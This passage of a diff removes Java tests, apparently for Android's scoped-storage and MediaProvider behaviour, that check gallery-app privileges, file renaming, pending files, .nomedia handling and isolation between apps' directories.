-                // System Gallery can't delete other app's pending and trashed pdf file.
-                assertFalse(isMediaTypeImageOrVideo(new File(pendingPdfFilePath)));
-                assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
-                assertCantDeletePathsAs(APP_A_HAS_RES, pendingPdfFilePath, trashedPdfFilePath);
-            } finally {
-                denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
-            }
-        } finally {
-            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryCanTrashOtherAndroidMediaFiles() throws Exception {
-        final File otherVideoFile = new File(getAndroidMediaDir(),
-                String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), VIDEO_FILE_NAME));
-        try {
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            assertThat(createFileAs(APP_B_NO_PERMS, otherVideoFile.getAbsolutePath())).isTrue();
-
-            final Uri otherVideoUri = MediaStore.scanFile(getContentResolver(), otherVideoFile);
-            assertNotNull(otherVideoUri);
-
-            trashFileAndAssert(otherVideoUri);
-            untrashFileAndAssert(otherVideoUri);
-        } finally {
-            otherVideoFile.delete();
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryCanUpdateOtherAndroidMediaFiles() throws Exception {
-        final File otherImageFile = new File(getAndroidMediaDir(),
-                String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), IMAGE_FILE_NAME));
-        final File updatedImageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
-        try {
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            assertThat(createFileAs(APP_B_NO_PERMS, otherImageFile.getAbsolutePath())).isTrue();
-
-            final Uri otherImageUri = MediaStore.scanFile(getContentResolver(), otherImageFile);
-            assertNotNull(otherImageUri);
-
-            final ContentValues values = new ContentValues();
-            values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
-            // Test that we can move the file to "DCIM/"
-            assertWithMessage("Result of ContentResolver#update for " + otherImageUri
-                    + " with values " + values)
-                    .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
-                    .isEqualTo(1);
-            assertThat(updatedImageFileInDcim.exists()).isTrue();
-            assertThat(otherImageFile.exists()).isFalse();
-
-            values.clear();
-            values.put(MediaStore.MediaColumns.RELATIVE_PATH,
-                    "Android/media/" + APP_B_NO_PERMS.getPackageName());
-            // Test that we can move the file back to other app's owned path
-            assertWithMessage("Result of ContentResolver#update for " + otherImageUri
-                    + " with values " + values)
-                    .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
-                    .isEqualTo(1);
-            assertThat(otherImageFile.exists()).isTrue();
-        } finally {
-            otherImageFile.delete();
-            updatedImageFileInDcim.delete();
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testQueryOtherAppsFiles() throws Exception {
-        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
-        try {
-            // Apps can't query other app's pending file, hence create file and publish it.
-            assertCreatePublishedFilesAs(
-                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-
-            // Since the test doesn't have READ_EXTERNAL_STORAGE nor any other special permissions,
-            // it can't query for another app's contents.
-            assertCantQueryFile(otherAppImg);
-            assertCantQueryFile(otherAppMusic);
-            assertCantQueryFile(otherAppPdf);
-            assertCantQueryFile(otherHiddenFile);
-        } finally {
-            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
-        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
-        try {
-            // Apps can't query other app's pending file, hence create file and publish it.
-            assertCreatePublishedFilesAs(
-                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-
-            // System gallery apps have access to video and image files
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            assertCanQueryAndOpenFile(otherAppImg, "rw");
-            // System gallery doesn't have access to hidden image files of other app
-            assertCantQueryFile(otherHiddenFile);
-            // But no access to PDFs or music files
-            assertCantQueryFile(otherAppMusic);
-            assertCantQueryFile(otherAppPdf);
-        } finally {
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-        }
-    }
-
-    /**
-     * Test that System Gallery app can rename any directory under the default directories
-     * designated for images and videos, even if they contain other apps' contents that
-     * System Gallery doesn't have read access to.
-     */
-    @Test
-    public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
-        final File dirInDcim = new File(getDcimDir(), TEST_DIRECTORY_NAME);
-        final File dirInPictures = new File(getPicturesDir(), TEST_DIRECTORY_NAME);
-        final File dirInPodcasts = new File(getPodcastsDir(), TEST_DIRECTORY_NAME);
-        final File otherAppImageFile1 = new File(dirInDcim, "other_" + IMAGE_FILE_NAME);
-        final File otherAppVideoFile1 = new File(dirInDcim, "other_" + VIDEO_FILE_NAME);
-        final File otherAppPdfFile1 = new File(dirInDcim, "other_" + NONMEDIA_FILE_NAME);
-        final File otherAppImageFile2 = new File(dirInPictures, "other_" + IMAGE_FILE_NAME);
-        final File otherAppVideoFile2 = new File(dirInPictures, "other_" + VIDEO_FILE_NAME);
-        final File otherAppPdfFile2 = new File(dirInPictures, "other_" + NONMEDIA_FILE_NAME);
-        try {
-            assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
-
-            executeShellCommand("touch " + otherAppPdfFile1);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
-
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            assertCreateFilesAs(APP_A_HAS_RES, otherAppImageFile1, otherAppVideoFile1);
-
-            // System gallery privileges don't go beyond DCIM, Movies and Pictures boundaries.
-            assertCantRenameDirectory(dirInDcim, dirInPodcasts, /*oldFilesList*/ null);
-
-            // Rename should succeed, but System Gallery still can't access that PDF file!
-            assertCanRenameDirectory(dirInDcim, dirInPictures,
-                    new File[] {otherAppImageFile1, otherAppVideoFile1},
-                    new File[] {otherAppImageFile2, otherAppVideoFile2});
-            assertThat(getFileRowIdFromDatabase(otherAppPdfFile1)).isEqualTo(-1);
-            assertThat(getFileRowIdFromDatabase(otherAppPdfFile2)).isEqualTo(-1);
-        } finally {
-            executeShellCommand("rm " + otherAppPdfFile1);
-            executeShellCommand("rm " + otherAppPdfFile2);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
-            otherAppImageFile1.delete();
-            otherAppImageFile2.delete();
-            otherAppVideoFile1.delete();
-            otherAppVideoFile2.delete();
-            otherAppPdfFile1.delete();
-            otherAppPdfFile2.delete();
-            deleteRecursively(dirInDcim);
-            deleteRecursively(dirInPictures);
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Test that row ID corresponding to deleted path is restored on subsequent create.
-     */
-    @Test
-    public void testCreateCanRestoreDeletedRowId() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final ContentResolver cr = getContentResolver();
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
-            final long oldRowId = getFileRowIdFromDatabase(imageFile);
-            assertThat(oldRowId).isNotEqualTo(-1);
-            final Uri uriOfOldFile = MediaStore.scanFile(cr, imageFile);
-            assertThat(uriOfOldFile).isNotNull();
-
-            assertThat(imageFile.delete()).isTrue();
-            // We should restore old row Id corresponding to deleted imageFile.
-            assertThat(imageFile.createNewFile()).isTrue();
-            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(oldRowId);
-            try (ParcelFileDescriptor pfd =  cr.openFileDescriptor(uriOfOldFile, "rw")) {
-                assertThat(pfd).isNotNull();
-            }
-
-
-            assertThat(imageFile.delete()).isTrue();
-            assertThat(createFileAs(APP_B_NO_PERMS, imageFile.getAbsolutePath())).isTrue();
-
-            final Uri uriOfNewFile = MediaStore.scanFile(getContentResolver(), imageFile);
-            assertThat(uriOfNewFile).isNotNull();
-            // We shouldn't restore deleted row Id if delete & create are called from different apps
-            assertThat(Integer.getInteger(uriOfNewFile.getLastPathSegment()))
-                    .isNotEqualTo(oldRowId);
-        } finally {
-            imageFile.delete();
-            deleteFileAsNoThrow(APP_B_NO_PERMS, imageFile.getAbsolutePath());
-        }
-    }
-
-    /**
-     * Test that row ID corresponding to deleted path is restored on subsequent rename.
-     */
-    @Test
-    public void testRenameCanRestoreDeletedRowId() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File temporaryFile = new File(getDownloadDir(), IMAGE_FILE_NAME + "_.tmp");
-        final ContentResolver cr = getContentResolver();
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
-            final Uri oldUri = MediaStore.scanFile(cr, imageFile);
-            assertThat(oldUri).isNotNull();
-
-            Files.copy(imageFile, temporaryFile);
-            assertThat(imageFile.delete()).isTrue();
-            assertCanRenameFile(temporaryFile, imageFile);
-
-            final Uri newUri = MediaStore.scanFile(cr, imageFile);
-            assertThat(newUri).isNotNull();
-            assertThat(newUri.getLastPathSegment()).isEqualTo(oldUri.getLastPathSegment());
-            // oldUri of imageFile is still accessible after delete and rename.
-            try (ParcelFileDescriptor pfd = cr.openFileDescriptor(oldUri, "rw")) {
-                assertThat(pfd).isNotNull();
-            }
-        } finally {
-            imageFile.delete();
-            temporaryFile.delete();
-        }
-    }
-
-    @Test
-    public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
-        File invalidFile = new File(getDownloadDir(), "<>");
-        File validFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> {
-                        invalidFile.createNewFile();
-                    });
-
-            assertThat(validFile.createNewFile()).isTrue();
-            // We can't rename a file to a file name with invalid FAT characters.
-            assertCantRenameFile(validFile, invalidFile);
-        } finally {
-            invalidFile.delete();
-            validFile.delete();
-        }
-    }
-
-    @Test
-    public void testRenameWithSpecialChars() throws Exception {
-        final String specialCharsSuffix = "'`~!@#$%^& ()_+-={}[];'.)";
-
-        final File fileSpecialChars =
-                new File(getDownloadDir(), NONMEDIA_FILE_NAME + specialCharsSuffix);
-
-        final File dirSpecialChars =
-                new File(getDownloadDir(), TEST_DIRECTORY_NAME + specialCharsSuffix);
-        final File file1 = new File(dirSpecialChars, NONMEDIA_FILE_NAME);
-        final File fileSpecialChars1 =
-                new File(dirSpecialChars, NONMEDIA_FILE_NAME + specialCharsSuffix);
-
-        final File renamedDir = new File(getDocumentsDir(), TEST_DIRECTORY_NAME);
-        final File file2 = new File(renamedDir, NONMEDIA_FILE_NAME);
-        final File fileSpecialChars2 =
-                new File(renamedDir, NONMEDIA_FILE_NAME + specialCharsSuffix);
-        try {
-            assertTrue(fileSpecialChars.createNewFile());
-            if (!dirSpecialChars.exists()) {
-                assertTrue(dirSpecialChars.mkdir());
-            }
-            assertTrue(file1.createNewFile());
-
-            // We can rename file name with special characters
-            assertCanRenameFile(fileSpecialChars, fileSpecialChars1);
-
-            // We can rename directory name with special characters
-            assertCanRenameDirectory(dirSpecialChars, renamedDir,
-                    new File[] {file1, fileSpecialChars1}, new File[] {file2, fileSpecialChars2});
-        } finally {
-            file1.delete();
-            file2.delete();
-            fileSpecialChars.delete();
-            fileSpecialChars1.delete();
-            fileSpecialChars2.delete();
-            deleteRecursively(dirSpecialChars);
-            deleteRecursively(renamedDir);
-        }
-    }
-
-    /**
-     * Test that IS_PENDING is set for files created via filepath
-     */
-    @Test
-    public void testPendingFromFuse() throws Exception {
-        final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        try {
-            assertTrue(pendingFile.createNewFile());
-            // Newly created file should have IS_PENDING set
-            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(1);
-            }
-
-            // If we query with MATCH_EXCLUDE, we should still see this pendingFile
-            try (Cursor c = queryFileExcludingPending(pendingFile,
-                    MediaStore.MediaColumns.IS_PENDING)) {
-                assertThat(c.getCount()).isEqualTo(1);
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(1);
-            }
-
-            assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
-
-            // IS_PENDING should be unset after the scan
-            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(0);
-            }
-
-            assertCreateFilesAs(APP_A_HAS_RES, otherPendingFile);
-            // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
-            try (Cursor c = queryFileExcludingPending(otherPendingFile,
-                    MediaStore.MediaColumns.IS_PENDING)) {
-                assertThat(c.getCount()).isEqualTo(0);
-            }
-        } finally {
-            pendingFile.delete();
-            deleteFileAsNoThrow(APP_A_HAS_RES, otherPendingFile.getAbsolutePath());
-        }
-    }
-
-    /**
-     * Test that we don't allow renaming to top level directory
-     */
-    @Test
-    public void testCantRenameToTopLevelDirectory() throws Exception {
-        final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
-        final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
-        final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
-        try {
-            createDirectoryAsLegacyApp(topLevelDir1);
-            assertTrue(topLevelDir1.exists());
-
-            // We can't rename a top level directory to a top level directory
-            assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
-
-            // However, we can rename a top level directory to non-top level directory.
-            assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
-
-            // We can't rename a non-top level directory to a top level directory.
-            assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
-        } finally {
-            deleteRecursivelyAsLegacyApp(topLevelDir1);
-            deleteRecursivelyAsLegacyApp(topLevelDir2);
-            deleteRecursively(nonTopLevelDir);
-        }
-    }
-
-    @Test
-    public void testCanCreateDefaultDirectory() throws Exception {
-        final File podcastsDir = getPodcastsDir();
-        try {
-            if (podcastsDir.exists()) {
-                deleteRecursivelyAsLegacyApp(podcastsDir);
-            }
-            assertThat(podcastsDir.mkdir()).isTrue();
-        } finally {
-            createDirectoryAsLegacyApp(podcastsDir);
-        }
-    }
-
-    /**
-     * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
-     */
-    @Test
-    public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
-        final File cameraDir = new File(getDcimDir(), "Camera");
-        final File nomediaFile = new File(cameraDir, ".nomedia");
-        Uri targetUri = null;
-
-        try {
-            // Recreate required file and directory
-            if (cameraDir.exists()) {
-                // This is a work around to address a known inode cache inconsistency issue
-                // that occurs when test runs for the second time.
-                deleteRecursivelyAsLegacyApp(cameraDir);
-            }
-
-            createDirectoryAsLegacyApp(cameraDir);
-            assertTrue(cameraDir.exists());
-
-            createFileAsLegacyApp(nomediaFile);
-            assertTrue(nomediaFile.exists());
-
-            ContentValues values = new ContentValues();
-            values.put(MediaStore.MediaColumns.RELATIVE_PATH, "DCIM/Camera");
-            targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
-            assertNotNull(targetUri);
-
-            try (ParcelFileDescriptor pfd =
-                         getContentResolver().openFileDescriptor(targetUri, "w")) {
-                assertThat(pfd).isNotNull();
-                Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
-            }
-
-            assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
-        } finally {
-            deleteWithMediaProviderNoThrow(targetUri);
-            deleteAsLegacyApp(nomediaFile);
-            deleteRecursivelyAsLegacyApp(cameraDir);
-        }
-    }
-
-    /**
-     * b/182479650: Test that Screenshots directory is not hidden because of .nomedia presence
-     */
-    @Test
-    public void testNoMediaDoesntHideSpecialDirectories() throws Exception {
-        for (File directory : new File [] {
-                getDcimDir(),
-                getDownloadDir(),
-                new File(getDcimDir(), "Camera"),
-                new File(getPicturesDir(), Environment.DIRECTORY_SCREENSHOTS),
-                new File(getMoviesDir(), Environment.DIRECTORY_SCREENSHOTS),
-                new File(getExternalStorageDir(), Environment.DIRECTORY_SCREENSHOTS)
-        }) {
-            assertNoMediaDoesntHideSpecialDirectories(directory);
-        }
-    }
-
-    private void assertNoMediaDoesntHideSpecialDirectories(File directory) throws Exception {
-        final File nomediaFile = new File(directory, ".nomedia");
-        final File videoFile = new File(directory, VIDEO_FILE_NAME);
-        Log.d(TAG, "Directory " + directory);
-
-        try {
-            // Recreate required file and directory
-            if (!directory.exists()) {
-                Log.d(TAG, "mkdir directory " + directory);
-                createDirectoryAsLegacyApp(directory);
-            }
-            assertWithMessage("Exists " + directory).that(directory.exists()).isTrue();
-
-            Log.d(TAG, "CreateFileAs " + nomediaFile);
-            createFileAsLegacyApp(nomediaFile);
-            assertWithMessage("Exists " + nomediaFile).that(nomediaFile.exists()).isTrue();
-
-            createFileAsLegacyApp(videoFile);
-            assertWithMessage("Exists " + videoFile).that(videoFile.exists()).isTrue();
-            final Uri targetUri = MediaStore.scanFile(getContentResolver(), videoFile);
-            assertWithMessage("Scan result for " + videoFile).that(targetUri)
-                    .isNotNull();
-
-            assertWithMessage("Uri path segment for " + targetUri)
-                    .that(targetUri.getPathSegments()).contains("video");
-
-            // Verify that the imageFile is not hidden because of .nomedia presence
-            assertWithMessage("Query as other app ")
-                    .that(canQueryOnUri(APP_A_HAS_RES, targetUri)).isTrue();
-        } finally {
-            deleteAsLegacyApp(videoFile);
-            deleteAsLegacyApp(nomediaFile);
-            deleteRecursivelyAsLegacyApp(directory);
-        }
-    }
-
-    /**
-     * Test that readdir lists unsupported file types in default directories.
-     */
-    @Test
-    public void testListUnsupportedFileType() throws Exception {
-        final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
-        final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
-        try {
-            // TEST_APP_A with storage permission should not see pdf file in DCIM
-            createFileAsLegacyApp(pdfFile);
-            assertThat(pdfFile.exists()).isTrue();
-            assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
-
-            assertThat(listAs(APP_A_HAS_RES, getDcimDir().getPath()))
-                    .doesNotContain(NONMEDIA_FILE_NAME);
-
-            createFileAsLegacyApp(videoFile);
-            // We don't insert files to db for files created by shell.
-            assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
-            // TEST_APP_A with storage permission should see video file in Music directory.
-            assertThat(listAs(APP_A_HAS_RES, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
-        } finally {
-            deleteAsLegacyApp(pdfFile);
-            deleteAsLegacyApp(videoFile);
-            MediaStore.scanFile(getContentResolver(), pdfFile);
-            MediaStore.scanFile(getContentResolver(), videoFile);
-        }
-    }
-
-    /**
-     * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
-     */
-    @Test
-    public void testCantAccessOtherAppsExternalDirs() throws Exception {
-        File[] obbDirs = getContext().getObbDirs();
-        File[] dataDirs = getContext().getExternalFilesDirs(null);
-        for (File obbDir : obbDirs) {
-            final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
-                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
-            final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
-            try {
-                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
-                assertCannotReadOrWrite(file);
-            } finally {
-                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
-            }
-        }
-        for (File dataDir : dataDirs) {
-            final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
-                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
-            final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
-            try {
-                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
-                assertCannotReadOrWrite(file);
-            } finally {
-                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
-            }
-        }
-    }
-
-    /**
-     * Test that apps can't set attributes on another app's files.
-     */
-    @Test
-    public void testCantSetAttrOtherAppsFile() throws Exception {
-        // This path's permission is checked in MediaProvider (directory/external media dir)
-        final File externalMediaPath = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create the files
-            if (!externalMediaPath.exists()) {
-                assertThat(externalMediaPath.createNewFile()).isTrue();
-            }
-
-            // APP A should not be able to setattr to other app's files.
-            assertWithMessage(
-                    "setattr on directory/external media path [%s]", externalMediaPath.getPath())
-                    .that(setAttrAs(APP_A_HAS_RES, externalMediaPath.getPath()))
-                    .isFalse();
-        } finally {
-            externalMediaPath.delete();
-        }
-    }
-
-    /**
-     * b/171768780: Test that scan doesn't skip scanning renamed hidden file.
-     */
-    @Test
-    public void testScanUpdatesMetadataForRenamedHiddenFile() throws Exception {
-        final File hiddenFile = new File(getPicturesDir(), ".hidden_" + IMAGE_FILE_NAME);
-        final File jpgFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        try {
-            // Copy the image content to hidden file
-            try (InputStream in =
-                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
-                 FileOutputStream out = new FileOutputStream(hiddenFile)) {
-                FileUtils.copy(in, out);
-                out.getFD().sync();
-            }
-            Uri scanUri = MediaStore.scanFile(getContentResolver(), hiddenFile);
-            assertNotNull(scanUri);
-
-            // Rename hidden file to non-hidden
-            assertCanRenameFile(hiddenFile, jpgFile);
-
-            try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
-                assertTrue(c.moveToFirst());
-                // The file is not scanned yet, hence the metadata is not updated yet.
-                assertThat(c.getString(0)).isNull();
-            }
-
-            // Scan the file to update the metadata for renamed hidden file.
-            scanUri = MediaStore.scanFile(getContentResolver(), jpgFile);
-            assertNotNull(scanUri);
-
-            // Scan should be able to update metadata even if File.lastModifiedTime hasn't changed.
-            try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
-                assertTrue(c.moveToFirst());
-                assertThat(c.getString(0)).isNotNull();
-            }
-        } finally {
-            hiddenFile.delete();
-            jpgFile.delete();
-        }
-    }
-
-    /**
-     * Tests that System Gallery apps cannot insert files in other app's private directories.
-     */
-    @Test
-    public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
-        int uid = Process.myUid();
-        try {
-            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
-            assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
-                    /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
-        } finally {
-            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Tests that System Gallery apps cannot update files in other app's private directories.
-     */
-    @Test
-    public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
-        int uid = Process.myUid();
-        try {
-            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
-            assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
-                    /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
-        } finally {
-            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * This test is for operations to the calling app's own private packages.
-     */
-    @Test
-    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
-        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
-        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
-    }
-
-    /**
-     * This test is for operations to the calling app's own private packages.
-     */
-    @Test
-    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
-        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
-        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
-    }
-
-    /**
-     * This test is for operations to the calling app's own private packages.
-     */
-    @Test
-    public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
-        int uid = Process.myUid();
-        try {
-            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
-            verifyInsertFromExternalMediaDirViaRelativePath_allowed();
-            verifyInsertFromExternalPrivateDirViaRelativePath_denied();
-        } finally {
-            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * This test is for operations to the calling app's own private packages.
-     */
-    @Test
-    public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
-        int uid = Process.myUid();
-        try {
-            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
-            verifyUpdateToExternalMediaDirViaRelativePath_allowed();
-            verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
-        } finally {
-            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testDeferredScanHidesPartialDatabaseRows() throws Exception {
-        ContentValues values = new ContentValues();
-        values.put(MediaStore.MediaColumns.IS_PENDING, 1);
-        // Insert a pending row
-        final Uri targetUri = getContentResolver().insert(getImageContentUri(), values, null);
-        try (InputStream in =
-                     getContext().getResources().openRawResource(R.raw.img_with_metadata)) {
-            try (ParcelFileDescriptor pfd =
-                         getContentResolver().openFileDescriptor(targetUri, "w")) {
-                // Write image content to the file
-                FileUtils.copy(in, new ParcelFileDescriptor.AutoCloseOutputStream(pfd));
-            }
-        }
-
-        // Verify that metadata is not updated yet.
-        try (Cursor c = getContentResolver().query(targetUri, new String[] {
-                MediaStore.Images.ImageColumns.DATE_TAKEN}, null, null)) {
-            assertThat(c.moveToFirst()).isTrue();
-            assertThat(c.getString(0)).isNull();
-        }
-        // Get file path to use in the next query().
-        final String imageFilePath = getFilePathFromUri(targetUri);
-
-        values.put(MediaStore.MediaColumns.IS_PENDING, 0);
-        Bundle extras = new Bundle();
-        extras.putBoolean(MediaStore.QUERY_ARG_DEFER_SCAN, true);
-        // Publish the file, but, defer the scan on update().
-        assertThat(getContentResolver().update(targetUri, values, extras)).isEqualTo(1);
-
-        // The update() above can return before scanning is complete. Verify that either we don't
-        // see the file in published files or if the file appears in the collection, it means that
-        // deferred scan is now complete, hence verify metadata is intact.
-        try (Cursor c = getContentResolver().query(getImageContentUri(),
-                new String[] {MediaStore.Images.ImageColumns.DATE_TAKEN},
-                MediaStore.Files.FileColumns.DATA + "=?", new String[] {imageFilePath}, null)) {
-            if (c.getCount() == 1) {
-                // If the file appears in media collection as published file, verify that metadata
-                // is correct.
-                assertThat(c.moveToFirst()).isTrue();
-                assertThat(c.getString(0)).isNotNull();
-                Log.i(TAG, "Verified that deferred scan on " + imageFilePath + " is complete"
-                        + " and hence metadata is updated");
-
-            } else {
-                assertThat(c.getCount()).isEqualTo(0);
-                Log.i(TAG, "Verified that " + imageFilePath + " was excluded in default query");
-            }
-        }
-    }
-
-    /**
-     * Test that renaming a file to {@link Environment#DIRECTORY_RINGTONES} sets
-     * {@link MediaStore.Audio.AudioColumns#IS_RINGTONE}
-     */
-
-    @Test
-    public void testRenameToRingtoneDirectory() throws Exception {
-        final File fileInDownloads = new File(getDownloadDir(), AUDIO_FILE_NAME);
-        final File fileInRingtones = new File(getRingtonesDir(), AUDIO_FILE_NAME);
-
-        try {
-            assertThat(fileInDownloads.createNewFile()).isTrue();
-            assertThat(MediaStore.scanFile(getContentResolver(), fileInDownloads)).isNotNull();
-
-            assertCanRenameFile(fileInDownloads, fileInRingtones);
-
-            try (Cursor c = queryAudioFile(fileInRingtones,
-                    MediaStore.Audio.AudioColumns.IS_RINGTONE)) {
-                assertTrue(c.moveToFirst());
-                assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE
-                        + " to be set after renaming to " + fileInRingtones)
-                        .that(c.getInt(0)).isEqualTo(1);
-            }
-
-            assertCanRenameFile(fileInRingtones, fileInDownloads);
-
-            try (Cursor c = queryAudioFile(fileInDownloads,
-                    MediaStore.Audio.AudioColumns.IS_RINGTONE)) {
-                assertTrue(c.moveToFirst());
-                assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE
-                        + " to be unset after renaming to " + fileInDownloads)
-                        .that(c.getInt(0)).isEqualTo(0);
